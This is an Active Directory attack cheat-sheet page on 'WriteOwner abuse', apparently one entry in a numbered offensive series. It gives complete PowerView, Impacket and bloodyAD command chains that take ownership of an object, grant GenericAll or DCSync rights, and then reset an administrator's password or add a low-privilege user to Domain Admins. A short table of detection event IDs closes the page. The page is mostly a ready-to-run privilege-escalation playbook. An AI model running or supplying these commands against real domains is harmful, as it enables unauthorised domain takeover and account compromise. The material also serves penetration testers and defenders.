π‘ Attack #22 β WriteOwner Abuse#
π How It Works#
WriteOwner allows an attacker to change the owner of an AD object to themselves. Since the owner of an object has the implicit right to modify the object's DACL (WriteDACL), this creates a two-step escalation: take ownership β grant yourself GenericAll/WriteDACL β exploit the object. This is a stepping stone attack, commonly found in enterprise environments due to legacy delegation configurations.
Exploitation Chain#
1. Have WriteOwner on a target object
2. Change owner to yourself β Set-DomainObjectOwner
3. Now you have implicit WriteDACL
4. Grant yourself GenericAll β Add-DomainObjectAcl
5. Exploit: reset password / add to group / DCSync / etc.
βοΈ Prerequisites#
| Requirement |
Detail |
| WriteOwner ACE on target |
Your principal has WriteOwner in the target's DACL |
| Domain user account |
Any authenticated domain user |
| Tool |
Platform |
Notes |
| PowerView |
Windows |
Set-DomainObjectOwner, Add-DomainObjectAcl |
| Impacket β owneredit.py |
Linux |
Change object ownership remotely |
| Impacket β dacledit.py |
Linux |
Modify DACL after taking ownership |
| bloodyAD |
Linux |
set owner command |
π» Full Commands#
π΄ Full Exploitation Chain (Windows)#
# ββ Step 1: Take ownership ββββββββββββββββββββββββββββββββββββββββββββββββββββ
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity targetadmin -OwnerIdentity low_user -Verbose
# Or for a group:
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity low_user
# ββ Step 2: Grant yourself GenericAll (owner has implicit WriteDACL) ββββββββββ
Add-DomainObjectAcl -TargetIdentity targetadmin -PrincipalIdentity low_user -Rights All
# Or for domain root (DCSync):
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity low_user -Rights DCSync
# ββ Step 3: Exploit ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Password reset:
Set-DomainUserPassword -Identity targetadmin -AccountPassword (
ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
)
# Or add to group:
Add-DomainGroupMember -Identity "Domain Admins" -Members low_user
π΄ Full Exploitation Chain (Linux)#
# ββ Step 1: Take ownership ββββββββββββββββββββββββββββββββββββββββββββββββββββ
owneredit.py -action write -new-owner low_user -target targetadmin \
corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# ββ Step 2: Grant GenericAll ββββββββββββββββββββββββββββββββββββββββββββββββββ
dacledit.py -action write -rights FullControl -principal low_user -target targetadmin \
corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# ββ Step 3: Exploit ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
set password targetadmin 'P@ssword123!'
# ββ Or bloodyAD shortcut ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
set owner targetadmin low_user
π‘οΈ Detection β Event IDs#
| Event ID |
Source |
What to Look For |
| 4662 |
Security Log (DC) |
WriteOwner operation on AD object |
| 4670 |
Security Log (DC) |
Permissions changed on an object |
| 5136 |
Security Log (DC) |
Owner attribute modified |
π Attack Chain Context#
[WriteOwner] βββ Take Ownership β WriteDACL β Full Control
β
ββββ π Two-step escalation: WriteOwner β WriteDACL β GenericAll
ββββ π Chain with: WriteDACL (#21), GenericAll (#19)
ββββ π Defeated by: ACL auditing, monitor ownership changes
β
Attack #22 β WriteOwner Abuse complete.